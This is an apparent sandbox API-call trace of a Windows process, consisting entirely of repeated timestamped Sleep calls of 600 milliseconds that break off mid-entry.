[0257.979] Sleep (dwMilliseconds=0x258) [0257.981] Sleep (dwMilliseconds=0x258) [0257.982] Sleep (dwMilliseconds=0x258) [0257.984] Sleep (dwMilliseconds=0x258) [0257.985] Sleep (dwMilliseconds=0x258) [0257.997] Sleep (dwMilliseconds=0x258) [0257.998] Sleep (dwMilliseconds=0x258) [0258.002] Sleep (dwMilliseconds=0x258) [0258.004] Sleep (dwMilliseconds=0x258) [0258.005] Sleep (dwMilliseconds=0x258) [0258.089] Sleep (dwMilliseconds=0x258) [0258.119] Sleep (dwMilliseconds=0x258) [0258.120] Sleep (dwMilliseconds=0x258) [0258.122] Sleep (dwMilliseconds=0x258) [0258.130] Sleep (dwMilliseconds=0x258) [0258.132] Sleep (dwMilliseconds=0x258) [0258.138] Sleep (dwMilliseconds=0x258) [0258.146] Sleep (dwMilliseconds=0x258) [0258.153] Sleep (dwMilliseconds=0x258) [0258.204] Sleep (dwMilliseconds=0x258) [0258.213] Sleep (dwMilliseconds=0x258) [0258.272] Sleep (dwMilliseconds=0x258) [0258.273] Sleep (dwMilliseconds=0x258) [0258.275] Sleep (dwMilliseconds=0x258) [0258.277] Sleep (dwMilliseconds=0x258) [0258.278] Sleep (dwMilliseconds=0x258) [0258.280] Sleep (dwMilliseconds=0x258) [0258.281] Sleep (dwMilliseconds=0x258) [0258.283] Sleep (dwMilliseconds=0x258) [0258.290] Sleep (dwMilliseconds=0x258) [0258.299] Sleep (dwMilliseconds=0x258) [0258.306] Sleep (dwMilliseconds=0x258) [0258.345] Sleep (dwMilliseconds=0x258) [0258.353] Sleep (dwMilliseconds=0x258) [0258.471] Sleep (dwMilliseconds=0x258) [0258.483] Sleep (dwMilliseconds=0x258) [0258.485] Sleep (dwMilliseconds=0x258) [0258.487] Sleep (dwMilliseconds=0x258) [0258.488] Sleep (dwMilliseconds=0x258) [0258.490] Sleep (dwMilliseconds=0x258) [0258.492] Sleep (dwMilliseconds=0x258) [0258.493] Sleep (dwMilliseconds=0x258) [0258.495] Sleep (dwMilliseconds=0x258) [0258.496] Sleep (dwMilliseconds=0x258) [0258.498] Sleep (dwMilliseconds=0x258) [0258.499] Sleep (dwMilliseconds=0x258) [0258.504] Sleep (dwMilliseconds=0x258) [0258.509] Sleep (dwMilliseconds=0x258) [0258.589] Sleep (dwMilliseconds=0x258) [0258.605] Sleep (dwMilliseconds=0x258) [0258.606] Sleep (dwMilliseconds=0x258) [0258.608] Sleep (dwMilliseconds=0x258) [0258.609] Sleep (dwMilliseconds=0x258) [0258.618] Sleep (dwMilliseconds=0x258) [0258.625] Sleep (dwMilliseconds=0x258) [0258.627] Sleep (dwMilliseconds=0x258) [0258.628] Sleep (dwMilliseconds=0x258) [0258.630] Sleep (dwMilliseconds=0x258) [0258.631] Sleep (dwMilliseconds=0x258) [0258.633] Sleep (dwMilliseconds=0x258) [0258.634] Sleep (dwMilliseconds=0x258) [0258.698] Sleep (dwMilliseconds=0x258) [0258.706] Sleep (dwMilliseconds=0x258) [0258.748] Sleep (dwMilliseconds=0x258) [0258.755] Sleep (dwMilliseconds=0x258) [0258.764] Sleep (dwMilliseconds=0x258) [0258.771] Sleep (dwMilliseconds=0x258) [0258.783] Sleep (dwMilliseconds=0x258) [0258.852] Sleep (dwMilliseconds=0x258) [0258.941] Sleep (dwMilliseconds=0x258) [0258.951] Sleep (dwMilliseconds=0x258) [0258.955] Sleep (dwMilliseconds=0x258) [0258.957] Sleep (dwMilliseconds=0x258) [0258.958] Sleep (dwMilliseconds=0x258) [0258.960] Sleep (dwMilliseconds=0x258) [0258.961] Sleep (dwMilliseconds=0x258) [0258.963] Sleep (dwMilliseconds=0x258) [0258.964] Sleep (dwMilliseconds=0x258) [0258.966] Sleep (dwMilliseconds=0x258) [0258.967] Sleep (dwMilliseconds=0x258) [0258.969] Sleep (dwMilliseconds=0x258) [0258.970] Sleep (dwMilliseconds=0x258) [0259.014] Sleep (dwMilliseconds=0x258) [0259.015] Sleep (dwMilliseconds=0x258) [0259.077] Sleep (dwMilliseconds=0x258) [0259.078] Sleep (dwMilliseconds=0x258) [0259.080] Sleep (dwMilliseconds=0x258) [0259.081] Sleep (dwMilliseconds=0x258) [0259.083] Sleep (dwMilliseconds=0x258) [0259.084] Sleep (dwMilliseconds=0x258) [0259.085] Sleep (dwMilliseconds=0x258) [0259.087] Sleep (dwMilliseconds=0x258) [0259.089] Sleep (dwMilliseconds=0x258) [0259.090] Sleep (dwMilliseconds=0x258) [0259.092] Sleep (dwMilliseconds=0x258) [0259.094] Sleep (dwMilliseconds=0x258) [0259.096] Sleep (dwMilliseconds=0x258) [0259.097] Sleep (dwMilliseconds=0x258) [0259.099] Sleep (dwMilliseconds=0x258) [0259.100] Sleep (dwMilliseconds=0x258) [0259.102] Sleep (dwMilliseconds=0x258) [0259.103] Sleep (dwMilliseconds=0x258) [0259.105] Sleep (dwMilliseconds=0x258) [0259.107] Sleep (dwMilliseconds=0x258) [0259.142] Sleep (dwMilliseconds=0x258) [0259.155] Sleep (dwMilliseconds=0x258) [0259.217] Sleep (dwMilliseconds=0x258) [0259.219] Sleep (dwMilliseconds=0x258) [0259.226] Sleep (dwMilliseconds=0x258) [0259.228] Sleep (dwMilliseconds=0x258) [0259.235] Sleep (dwMilliseconds=0x258) [0259.244] Sleep (dwMilliseconds=0x258) [0259.251] Sleep (dwMilliseconds=0x258) [0259.277] Sleep (dwMilliseconds=0x258) [0259.278] Sleep (dwMilliseconds=0x258) [0259.358] Sleep (dwMilliseconds=0x258) [0259.359] Sleep (dwMilliseconds=0x258) [0259.361] Sleep (dwMilliseconds=0x258) [0259.362] Sleep (dwMilliseconds=0x258) [0259.364] Sleep (dwMilliseconds=0x258) [0259.366] Sleep (dwMilliseconds=0x258) [0259.367] Sleep (dwMilliseconds=0x258) [0259.368] Sleep (dwMilliseconds=0x258) [0259.370] Sleep (dwMilliseconds=0x258) [0259.373] Sleep (dwMilliseconds=0x258) [0259.375] Sleep (dwMilliseconds=0x258) [0259.377] Sleep (dwMilliseconds=0x258) [0259.469] Sleep (dwMilliseconds=0x258) [0259.494] Sleep (dwMilliseconds=0x258) [0259.499] Sleep (dwMilliseconds=0x258) [0259.501] Sleep (dwMilliseconds=0x258) [0259.504] Sleep (dwMilliseconds=0x258) [0259.518] Sleep (dwMilliseconds=0x258) [0259.526] Sleep (dwMilliseconds=0x258) [0259.584] Sleep (dwMilliseconds=0x258) [0259.592] Sleep (dwMilliseconds=0x258) [0259.642] Sleep (dwMilliseconds=0x258) [0259.643] Sleep (dwMilliseconds=0x258) [0259.645] Sleep (dwMilliseconds=0x258) [0259.646] Sleep (dwMilliseconds=0x258) [0259.648] Sleep (dwMilliseconds=0x258) [0259.651] Sleep (dwMilliseconds=0x258) [0259.653] Sleep (dwMilliseconds=0x258) [0259.655] Sleep (dwMilliseconds=0x258) [0259.656] Sleep (dwMilliseconds=0x258) [0259.658] Sleep (dwMilliseconds=0x258) [0259.659] Sleep (dwMilliseconds=0x258) [0259.661] Sleep (dwMilliseconds=0x258) [0259.663] Sleep (dwMilliseconds=0x258) [0259.664] Sleep (dwMilliseconds=0x258) [0259.667] Sleep (dwMilliseconds=0x258) [0259.668] Sleep (dwMilliseconds=0x258) [0259.669] Sleep (dwMilliseconds=0x258) [0259.671] Sleep (dwMilliseconds=0x258) [0259.690] Sleep (dwMilliseconds=0x258) [0259.691] Sleep (dwMilliseconds=0x258) [0259.762] Sleep (dwMilliseconds=0x258) [0259.765] Sleep (dwMilliseconds=0x258) [0259.773] Sleep (dwMilliseconds=0x258) [0259.774] Sleep (dwMilliseconds=0x258) [0259.781] Sleep (dwMilliseconds=0x258) [0259.783] Sleep (dwMilliseconds=0x258) [0259.790] Sleep (dwMilliseconds=0x258) [0259.801] Sleep (dwMilliseconds=0x258) [0259.813] Sleep (dwMilliseconds=0x258) [0259.820] Sleep (dwMilliseconds=0x258) [0259.945] Sleep (dwMilliseconds=0x258) [0259.962] Sleep (dwMilliseconds=0x258) [0259.964] Sleep (dwMilliseconds=0x258) [0259.966] Sleep (dwMilliseconds=0x258) [0259.968] Sleep (dwMilliseconds=0x258) [0259.969] Sleep (dwMilliseconds=0x258) [0259.979] Sleep (dwMilliseconds=0x258) [0259.987] Sleep (dwMilliseconds=0x258) [0259.993] Sleep (dwMilliseconds=0x258) [0260.064] Sleep (dwMilliseconds=0x258) [0260.072] Sleep (dwMilliseconds=0x258) [0260.107] Sleep (dwMilliseconds=0x258) [0260.108] Sleep (dwMilliseconds=0x258) [0260.115] Sleep (dwMilliseconds=0x258) [0260.116] Sleep (dwMilliseconds=0x258) [0260.118] Sleep (dwMilliseconds=0x258) [0260.119] Sleep (dwMilliseconds=0x258) [0260.121] Sleep (dwMilliseconds=0x258) [0260.122] Sleep (dwMilliseconds=0x258) [0260.124] Sleep (dwMilliseconds=0x258) [0260.126] Sleep (dwMilliseconds=0x258) [0260.128] Sleep (dwMilliseconds=0x258) [0260.129] Sleep (dwMilliseconds=0x258) [0260.131] Sleep (dwMilliseconds=0x258) [0260.132] Sleep (dwMilliseconds=0x258) [0260.134] Sleep (dwMilliseconds=0x258) [0260.135] Sleep (dwMilliseconds=0x258) [0260.137] Sleep (dwMilliseconds=0x258) [0260.138] Sleep (dwMilliseconds=0x258) [0260.140] Sleep (dwMilliseconds=0x258) [0260.141] Sleep (dwMilliseconds=0x258) [0260.143] Sleep (dwMilliseconds=0x258) [0260.144] Sleep (dwMilliseconds=0x258) [0260.146] Sleep (dwMilliseconds=0x258) [0260.148] Sleep (dwMilliseconds=0x258) [0260.150] Sleep (dwMilliseconds=0x258) [0260.151] Sleep (dwMilliseconds=0x258) [0260.153] Sleep (dwMilliseconds=0x258) [0260.216] Sleep (dwMilliseconds=0x258) [0260.275] Sleep (dwMilliseconds=0x258) [0260.276] Sleep (dwMilliseconds=0x258) [0260.278] Sleep (dwMilliseconds=0x258) [0260.279] Sleep (dwMilliseconds=0x258) [0260.281] Sleep (dwMilliseconds=0x258) [0260.283] Sleep (dwMilliseconds=0x258) [0260.284] Sleep (dwMilliseconds=0x258) [0260.286] Sleep (dwMilliseconds=0x258) [0260.287] Sleep (dwMilliseconds=0x258) [0260.289] Sleep (dwMilliseconds=0x258) [0260.292] Sleep (dwMilliseconds=0x258) [0260.294] Sleep (dwMilliseconds=0x258) [0260.295] Sleep (dwMilliseconds=0x258) [0260.297] Sleep (dwMilliseconds=0x258) [0260.298] Sleep (dwMilliseconds=0x258) [0260.300] Sleep (dwMilliseconds=0x258) [0260.301] Sleep (dwMilliseconds=0x258) [0260.303] Sleep (dwMilliseconds=0x258) [0260.304] Sleep (dwMilliseconds=0x258) [0260.355] Sleep (dwMilliseconds=0x258) [0260.357] Sleep (dwMilliseconds=0x258) [0260.423] Sleep (dwMilliseconds=0x258) [0260.424] Sleep (dwMilliseconds=0x258) [0260.427] Sleep (dwMilliseconds=0x258) [0260.428] Sleep (dwMilliseconds=0x258) [0260.430] Sleep (dwMilliseconds=0x258) [0260.431] Sleep (dwMilliseconds=0x258) [0260.433] Sleep (dwMilliseconds=0x258) [0260.434] Sleep (dwMilliseconds=0x258) [0260.436] Sleep (dwMilliseconds=0x258) [0260.437] Sleep (dwMilliseconds=0x258) [0260.439] Sleep (dwMilliseconds=0x258) [0260.440] Sleep (dwMilliseconds=0x258) [0260.442] Sleep (dwMilliseconds=0x258) [0260.443] Sleep (dwMilliseconds=0x258) [0260.445] Sleep (dwMilliseconds=0x258) [0260.446] Sleep (dwMilliseconds=0x258) [0260.448] Sleep (dwMilliseconds=0x258) [0260.450] Sleep (dwMilliseconds=0x258) [0260.452] Sleep (dwMilliseconds=0x258) [0260.483] Sleep (dwMilliseconds=0x258) [0260.484] Sleep (dwMilliseconds=0x258) [0260.559] Sleep (dwMilliseconds=0x258) [0260.561] Sleep (dwMilliseconds=0x258) [0260.563] Sleep (dwMilliseconds=0x258) [0260.564] Sleep (dwMilliseconds=0x258) [0260.571] Sleep (dwMilliseconds=0x258) [0260.573] Sleep (dwMilliseconds=0x258) [0260.580] Sleep (dwMilliseconds=0x258) [0260.581] Sleep (dwMilliseconds=0x258) [0260.588] Sleep (dwMilliseconds=0x258) [0260.589] Sleep (dwMilliseconds=0x258) [0260.596] Sleep (dwMilliseconds=0x258) [0260.606] Sleep (dwMilliseconds=0x258) [0260.614] Sleep (dwMilliseconds=0x258) [0260.694] Sleep (dwMilliseconds=0x258) [0260.695] Sleep (dwMilliseconds=0x258) [0260.714] Sleep (dwMilliseconds=0x258) [0260.715] Sleep (dwMilliseconds=0x258) [0260.717] Sleep (dwMilliseconds=0x258) [0260.718] Sleep (dwMilliseconds=0x258) [0260.720] Sleep (dwMilliseconds=0x258) [0260.721] Sleep (dwMilliseconds=0x258) [0260.723] Sleep (dwMilliseconds=0x258) [0260.724] Sleep (dwMilliseconds=0x258) [0260.726] Sleep (dwMilliseconds=0x258) [0260.728] Sleep (dwMilliseconds=0x258) [0260.729] Sleep (dwMilliseconds=0x258) [0260.731] Sleep (dwMilliseconds=0x258) [0260.733] Sleep (dwMilliseconds=0x258) [0260.734] Sleep (dwMilliseconds=0x258) [0260.735] Sleep (dwMilliseconds=0x258) [0260.737] Sleep (dwMilliseconds=0x258) [0260.738] Sleep (dwMilliseconds=0x258) [0260.741] Sleep (dwMilliseconds=0x258) [0260.743] Sleep (dwMilliseconds=0x258) [0260.883] Sleep (dwMilliseconds=0x258) [0260.885] Sleep (dwMilliseconds=0x258) [0260.937] Sleep (dwMilliseconds=0x258) [0260.939] Sleep (dwMilliseconds=0x258) [0260.941] Sleep (dwMilliseconds=0x258) [0260.942] Sleep (dwMilliseconds=0x258) [0260.944] Sleep (dwMilliseconds=0x258) [0260.945] Sleep (dwMilliseconds=0x258) [0260.952] Sleep (dwMilliseconds=0x258) [0260.954] Sleep (dwMilliseconds=0x258) [0260.955] Sleep (dwMilliseconds=0x258) [0260.957] Sleep (dwMilliseconds=0x258) [0260.958] Sleep (dwMilliseconds=0x258) [0260.960] Sleep (dwMilliseconds=0x258) [0260.961] Sleep (dwMilliseconds=0x258) [0260.963] Sleep (dwMilliseconds=0x258) [0260.966] Sleep (dwMilliseconds=0x258) [0260.967] Sleep (dwMilliseconds=0x258) [0261.007] Sleep (dwMilliseconds=0x258) [0261.168] Sleep (dwMilliseconds=0x258) [0261.297] Sleep (dwMilliseconds=0x258) [0261.333] Sleep (dwMilliseconds=0x258) [0261.411] Sleep (dwMilliseconds=0x258) [0261.412] Sleep (dwMilliseconds=0x258) [0261.414] Sleep (dwMilliseconds=0x258) [0261.415] Sleep (dwMilliseconds=0x258) [0261.417] Sleep (dwMilliseconds=0x258) [0261.418] Sleep (dwMilliseconds=0x258) [0261.420] Sleep (dwMilliseconds=0x258) [0261.421] Sleep (dwMilliseconds=0x258) [0261.423] Sleep (dwMilliseconds=0x258) [0261.424] Sleep (dwMilliseconds=0x258) [0261.426] Sleep (dwMilliseconds=0x258) [0261.428] Sleep (dwMilliseconds=0x258) [0261.430] Sleep (dwMilliseconds=0x258) [0261.432] Sleep (dwMilliseconds=0x258) [0261.433] Sleep (dwMilliseconds=0x258) [0261.435] Sleep (dwMilliseconds=0x258) [0261.438] Sleep (dwMilliseconds=0x258) [0261.439] Sleep (dwMilliseconds=0x258) [0261.442] Sleep (dwMilliseconds=0x258) [0261.449] Sleep (dwMilliseconds=0x258) [0261.530] Sleep (dwMilliseconds=0x258) [0261.531] Sleep (dwMilliseconds=0x258) [0261.545] Sleep (dwMilliseconds=0x258) [0261.546] Sleep (dwMilliseconds=0x258) [0261.547] Sleep (dwMilliseconds=0x258) [0261.549] Sleep (dwMilliseconds=0x258) [0261.550] Sleep (dwMilliseconds=0x258) [0261.552] Sleep (dwMilliseconds=0x258) [0261.553] Sleep (dwMilliseconds=0x258) [0261.555] Sleep (dwMilliseconds=0x258) [0261.556] Sleep (dwMilliseconds=0x258) [0261.558] Sleep (dwMilliseconds=0x258) [0261.559] Sleep (dwMilliseconds=0x258) [0261.561] Sleep (dwMilliseconds=0x258) [0261.562] Sleep (dwMilliseconds=0x258) [0261.564] Sleep (dwMilliseconds=0x258) [0261.566] Sleep (dwMilliseconds=0x258) [0261.568] Sleep (dwMilliseconds=0x258) [0261.573] Sleep (dwMilliseconds=0x258) [0261.574] Sleep (dwMilliseconds=0x258) [0261.576] Sleep (dwMilliseconds=0x258) [0261.577] Sleep (dwMilliseconds=0x258) [0261.580] Sleep (dwMilliseconds=0x258) [0261.581] Sleep (dwMilliseconds=0x258) [0261.583] Sleep (dwMilliseconds=0x258) [0261.584] Sleep (dwMilliseconds=0x258) [0261.586] Sleep (dwMilliseconds=0x258) [0261.587] Sleep (dwMilliseconds=0x258) [0261.589] Sleep (dwMilliseconds=0x258) [0261.590] Sleep (dwMilliseconds=0x258) [0261.644] Sleep (dwMilliseconds=0x258) [0261.653] Sleep (dwMilliseconds=0x258) [0261.689] Sleep (dwMilliseconds=0x258) [0261.697] Sleep (dwMilliseconds=0x258) [0261.751] Sleep (dwMilliseconds=0x258) [0261.804] Sleep (dwMilliseconds=0x258) [0261.807] Sleep (dwMilliseconds=0x258) [0261.869] Sleep (dwMilliseconds=0x258) [0261.893] Sleep (dwMilliseconds=0x258) [0261.902] Sleep (dwMilliseconds=0x258) [0261.956] Sleep (dwMilliseconds=0x258) [0261.963] Sleep (dwMilliseconds=0x258) [0262.080] Sleep (dwMilliseconds=0x258) [0262.082] Sleep (dwMilliseconds=0x258) [0262.084] Sleep (dwMilliseconds=0x258) [0262.085] Sleep (dwMilliseconds=0x258) [0262.087] Sleep (dwMilliseconds=0x258) [0262.088] Sleep (dwMilliseconds=0x258) [0262.090] Sleep (dwMilliseconds=0x258) [0262.091] Sleep (dwMilliseconds=0x258) [0262.093] Sleep (dwMilliseconds=0x258) [0262.095] Sleep (dwMilliseconds=0x258) [0262.097] Sleep (dwMilliseconds=0x258) [0262.098] Sleep (dwMilliseconds=0x258) [0262.100] Sleep (dwMilliseconds=0x258) [0262.101] Sleep (dwMilliseconds=0x258) [0262.109] Sleep (dwMilliseconds=0x258) [0262.226] Sleep (dwMilliseconds=0x258) [0262.262] Sleep (dwMilliseconds=0x258) [0262.270] Sleep (dwMilliseconds=0x258) [0262.279] Sleep (dwMilliseconds=0x258) [0262.287] Sleep (dwMilliseconds=0x258) [0262.289] Sleep (dwMilliseconds=0x258) [0262.291] Sleep (dwMilliseconds=0x258) [0262.379] Sleep (dwMilliseconds=0x258) [0262.380] Sleep (dwMilliseconds=0x258) [0262.443] Sleep (dwMilliseconds=0x258) [0262.446] Sleep (dwMilliseconds=0x258) [0262.447] Sleep (dwMilliseconds=0x258) [0262.449] Sleep (dwMilliseconds=0x258) [0262.450] Sleep (dwMilliseconds=0x258) [0262.452] Sleep (dwMilliseconds=0x258) [0262.453] Sleep (dwMilliseconds=0x258) [0262.455] Sleep (dwMilliseconds=0x258) [0262.456] Sleep (dwMilliseconds=0x258) [0262.459] Sleep (dwMilliseconds=0x258) [0262.460] Sleep (dwMilliseconds=0x258) [0262.462] Sleep (dwMilliseconds=0x258) [0262.463] Sleep (dwMilliseconds=0x258) [0262.465] Sleep (dwMilliseconds=0x258) [0262.466] Sleep (dwMilliseconds=0x258) [0262.476] Sleep (dwMilliseconds=0x258) [0262.509] Sleep (dwMilliseconds=0x258) [0262.517] Sleep (dwMilliseconds=0x258) [0262.589] Sleep (dwMilliseconds=0x258) [0262.591] Sleep (dwMilliseconds=0x258) [0262.598] Sleep (dwMilliseconds=0x258) [0262.608] Sleep (dwMilliseconds=0x258) [0262.614] Sleep (dwMilliseconds=0x258) [0262.616] Sleep (dwMilliseconds=0x258) [0262.617] Sleep (dwMilliseconds=0x258) [0262.619] Sleep (dwMilliseconds=0x258) [0262.628] Sleep (dwMilliseconds=0x258) [0262.636] Sleep (dwMilliseconds=0x258) [0262.720] Sleep (dwMilliseconds=0x258) [0262.728] Sleep (dwMilliseconds=0x258) [0262.747] Sleep (dwMilliseconds=0x258) [0262.759] Sleep (dwMilliseconds=0x258) [0262.770] Sleep (dwMilliseconds=0x258) [0262.772] Sleep (dwMilliseconds=0x258) [0262.787] Sleep (dwMilliseconds=0x258) [0262.858] Sleep (dwMilliseconds=0x258) [0262.860] Sleep (dwMilliseconds=0x258) [0262.900] Sleep (dwMilliseconds=0x258) [0262.902] Sleep (dwMilliseconds=0x258) [0262.921] Sleep (dwMilliseconds=0x258) [0262.922] Sleep (dwMilliseconds=0x258) [0262.924] Sleep (dwMilliseconds=0x258) [0262.925] Sleep (dwMilliseconds=0x258) [0262.927] Sleep (dwMilliseconds=0x258) [0262.928] Sleep (dwMilliseconds=0x258) [0262.935] Sleep (dwMilliseconds=0x258) [0262.979] Sleep (dwMilliseconds=0x258) [0262.988] Sleep (dwMilliseconds=0x258) [0263.061] Sleep (dwMilliseconds=0x258) [0263.062] Sleep (dwMilliseconds=0x258) [0263.070] Sleep (dwMilliseconds=0x258) [0263.071] Sleep (dwMilliseconds=0x258) [0263.078] Sleep (dwMilliseconds=0x258) [0263.080] Sleep (dwMilliseconds=0x258) [0263.082] Sleep (dwMilliseconds=0x258) [0263.083] Sleep (dwMilliseconds=0x258) [0263.085] Sleep (dwMilliseconds=0x258) [0263.087] Sleep (dwMilliseconds=0x258) [0263.089] Sleep (dwMilliseconds=0x258) [0263.091] Sleep (dwMilliseconds=0x258) [0263.108] Sleep (dwMilliseconds=0x258) [0263.116] Sleep (dwMilliseconds=0x258) [0263.315] Sleep (dwMilliseconds=0x258) [0263.323] Sleep (dwMilliseconds=0x258) [0263.325] Sleep (dwMilliseconds=0x258) [0263.326] Sleep (dwMilliseconds=0x258) [0263.335] Sleep (dwMilliseconds=0x258) [0263.342] Sleep (dwMilliseconds=0x258) [0263.350] Sleep (dwMilliseconds=0x258) [0263.357] Sleep (dwMilliseconds=0x258) [0263.441] Sleep (dwMilliseconds=0x258) [0263.443] Sleep (dwMilliseconds=0x258) [0263.468] Sleep (dwMilliseconds=0x258) [0263.470] Sleep (dwMilliseconds=0x258) [0263.471] Sleep (dwMilliseconds=0x258) [0263.473] Sleep (dwMilliseconds=0x258) [0263.474] Sleep (dwMilliseconds=0x258) [0263.477] Sleep (dwMilliseconds=0x258) [0263.484] Sleep (dwMilliseconds=0x258) [0263.485] Sleep (dwMilliseconds=0x258) [0263.487] Sleep (dwMilliseconds=0x258) [0263.488] Sleep (dwMilliseconds=0x258) [0263.490] Sleep (dwMilliseconds=0x258) [0263.491] Sleep (dwMilliseconds=0x258) [0263.493] Sleep (dwMilliseconds=0x258) [0263.494] Sleep (dwMilliseconds=0x258) [0263.496] Sleep (dwMilliseconds=0x258) [0263.497] Sleep (dwMilliseconds=0x258) [0263.558] Sleep (dwMilliseconds=0x258) [0263.559] Sleep (dwMilliseconds=0x258) [0263.613] Sleep (dwMilliseconds=0x258) [0263.615] Sleep (dwMilliseconds=0x258) [0263.618] Sleep (dwMilliseconds=0x258) [0263.619] Sleep (dwMilliseconds=0x258) [0263.620] Sleep (dwMilliseconds=0x258) [0263.622] Sleep (dwMilliseconds=0x258) [0263.623] Sleep (dwMilliseconds=0x258) [0263.625] Sleep (dwMilliseconds=0x258) [0263.626] Sleep (dwMilliseconds=0x258) [0263.628] Sleep (dwMilliseconds=0x258) [0263.629] Sleep (dwMilliseconds=0x258) [0263.631] Sleep (dwMilliseconds=0x258) [0263.632] Sleep (dwMilliseconds=0x258) [0263.634] Sleep (dwMilliseconds=0x258) [0263.635] Sleep (dwMilliseconds=0x258) [0263.637] Sleep (dwMilliseconds=0x258) [0263.638] Sleep (dwMilliseconds=0x258) [0263.640] Sleep (dwMilliseconds=0x258) [0263.641] Sleep (dwMilliseconds=0x258) [0263.644] Sleep (dwMilliseconds=0x258) [0263.674] Sleep (dwMilliseconds=0x258) [0263.675] Sleep (dwMilliseconds=0x258) [0263.750] Sleep (dwMilliseconds=0x258) [0263.751] Sleep (dwMilliseconds=0x258) [0263.753] Sleep (dwMilliseconds=0x258) [0263.754] Sleep (dwMilliseconds=0x258) [0263.756] Sleep (dwMilliseconds=0x258) [0263.757] Sleep (dwMilliseconds=0x258) [0263.765] Sleep (dwMilliseconds=0x258) [0263.773] Sleep (dwMilliseconds=0x258) [0263.780] Sleep (dwMilliseconds=0x258) [0263.786] Sleep (dwMilliseconds=0x258) [0263.794] Sleep (dwMilliseconds=0x258) [0263.883] Sleep (dwMilliseconds=0x258) [0263.935] Sleep (dwMilliseconds=0x258) [0264.003] Sleep (dwMilliseconds=0x258) [0264.021] Sleep (dwMilliseconds=0x258) [0264.061] Sleep (dwMilliseconds=0x258) [0264.063] Sleep (dwMilliseconds=0x258) [0264.071] Sleep (dwMilliseconds=0x258) [0264.079] Sleep (dwMilliseconds=0x258) [0264.086] Sleep (dwMilliseconds=0x258) [0264.087] Sleep (dwMilliseconds=0x258) [0264.090] Sleep (dwMilliseconds=0x258) [0264.097] Sleep (dwMilliseconds=0x258) [0264.140] Sleep (dwMilliseconds=0x258) [0264.149] Sleep (dwMilliseconds=0x258) [0264.209] Sleep (dwMilliseconds=0x258) [0264.212] Sleep (dwMilliseconds=0x258) [0264.213] Sleep (dwMilliseconds=0x258) [0264.215] Sleep (dwMilliseconds=0x258) [0264.216] Sleep (dwMilliseconds=0x258) [0264.218] Sleep (dwMilliseconds=0x258) [0264.219] Sleep (dwMilliseconds=0x258) [0264.221] Sleep (dwMilliseconds=0x258) [0264.222] Sleep (dwMilliseconds=0x258) [0264.224] Sleep (dwMilliseconds=0x258) [0264.225] Sleep (dwMilliseconds=0x258) [0264.227] Sleep (dwMilliseconds=0x258) [0264.228] Sleep (dwMilliseconds=0x258) [0264.231] Sleep (dwMilliseconds=0x258) [0264.232] Sleep (dwMilliseconds=0x258) [0264.234] Sleep (dwMilliseconds=0x258) [0264.235] Sleep (dwMilliseconds=0x258) [0264.236] Sleep (dwMilliseconds=0x258) [0264.238] Sleep (dwMilliseconds=0x258) [0264.247] Sleep (dwMilliseconds=0x258) [0264.267] Sleep (dwMilliseconds=0x258) [0264.275] Sleep (dwMilliseconds=0x258) [0264.363] Sleep (dwMilliseconds=0x258) [0264.373] Sleep (dwMilliseconds=0x258) [0264.375] Sleep (dwMilliseconds=0x258) [0264.394] Sleep (dwMilliseconds=0x258) [0264.407] Sleep (dwMilliseconds=0x258) [0264.409] Sleep (dwMilliseconds=0x258) [0264.501] Sleep (dwMilliseconds=0x258) [0264.504] Sleep (dwMilliseconds=0x258) [0264.509] Sleep (dwMilliseconds=0x258) [0264.513] Sleep (dwMilliseconds=0x258) [0264.514] Sleep (dwMilliseconds=0x258) [0264.516] Sleep (dwMilliseconds=0x258) [0264.517] Sleep (dwMilliseconds=0x258) [0264.519] Sleep (dwMilliseconds=0x258) [0264.520] Sleep (dwMilliseconds=0x258) [0264.522] Sleep (dwMilliseconds=0x258) [0264.523] Sleep (dwMilliseconds=0x258) [0264.525] Sleep (dwMilliseconds=0x258) [0264.526] Sleep (dwMilliseconds=0x258) [0264.528] Sleep (dwMilliseconds=0x258) [0264.529] Sleep (dwMilliseconds=0x258) [0264.531] Sleep (dwMilliseconds=0x258) [0264.533] Sleep (dwMilliseconds=0x258) [0264.665] Sleep (dwMilliseconds=0x258) [0264.670] Sleep (dwMilliseconds=0x258) [0264.682] Sleep (dwMilliseconds=0x258) [0264.684] Sleep (dwMilliseconds=0x258) [0264.686] Sleep (dwMilliseconds=0x258) [0264.690] Sleep (dwMilliseconds=0x258) [0264.691] Sleep (dwMilliseconds=0x258) [0264.694] Sleep (dwMilliseconds=0x258) [0264.696] Sleep (dwMilliseconds=0x258) [0264.698] Sleep (dwMilliseconds=0x258) [0264.784] Sleep (dwMilliseconds=0x258) [0264.806] Sleep (dwMilliseconds=0x258) [0264.808] Sleep (dwMilliseconds=0x258) [0264.809] Sleep (dwMilliseconds=0x258) [0264.811] Sleep (dwMilliseconds=0x258) [0264.819] Sleep (dwMilliseconds=0x258) [0264.821] Sleep (dwMilliseconds=0x258) [0264.826] Sleep (dwMilliseconds=0x258) [0264.827] Sleep (dwMilliseconds=0x258) [0264.828] Sleep (dwMilliseconds=0x258) [0264.830] Sleep (dwMilliseconds=0x258) [0264.831] Sleep (dwMilliseconds=0x258) [0264.833] Sleep (dwMilliseconds=0x258) [0264.834] Sleep (dwMilliseconds=0x258) [0264.836] Sleep (dwMilliseconds=0x258) [0264.897] Sleep (dwMilliseconds=0x258) [0264.972] Sleep (dwMilliseconds=0x258) [0264.973] Sleep (dwMilliseconds=0x258) [0264.983] Sleep (dwMilliseconds=0x258) [0264.985] Sleep (dwMilliseconds=0x258) [0264.995] Sleep (dwMilliseconds=0x258) [0264.996] Sleep (dwMilliseconds=0x258) [0265.006] Sleep (dwMilliseconds=0x258) [0265.076] Sleep (dwMilliseconds=0x258) [0265.077] Sleep (dwMilliseconds=0x258) [0265.125] Sleep (dwMilliseconds=0x258) [0265.126] Sleep (dwMilliseconds=0x258) [0265.127] Sleep (dwMilliseconds=0x258) [0265.136] Sleep (dwMilliseconds=0x258) [0265.196] Sleep (dwMilliseconds=0x258) [0265.255] Sleep (dwMilliseconds=0x258) [0265.256] Sleep (dwMilliseconds=0x258) [0265.258] Sleep (dwMilliseconds=0x258) [0265.260] Sleep (dwMilliseconds=0x258) [0265.261] Sleep (dwMilliseconds=0x258) [0265.269] Sleep (dwMilliseconds=0x258) [0265.278] Sleep (dwMilliseconds=0x258) [0265.286] Sleep (dwMilliseconds=0x258) [0265.316] Sleep (dwMilliseconds=0x258) [0265.324] Sleep (dwMilliseconds=0x258) [0265.408] Sleep (dwMilliseconds=0x258) [0265.409] Sleep (dwMilliseconds=0x258) [0265.417] Sleep (dwMilliseconds=0x258) [0265.418] Sleep 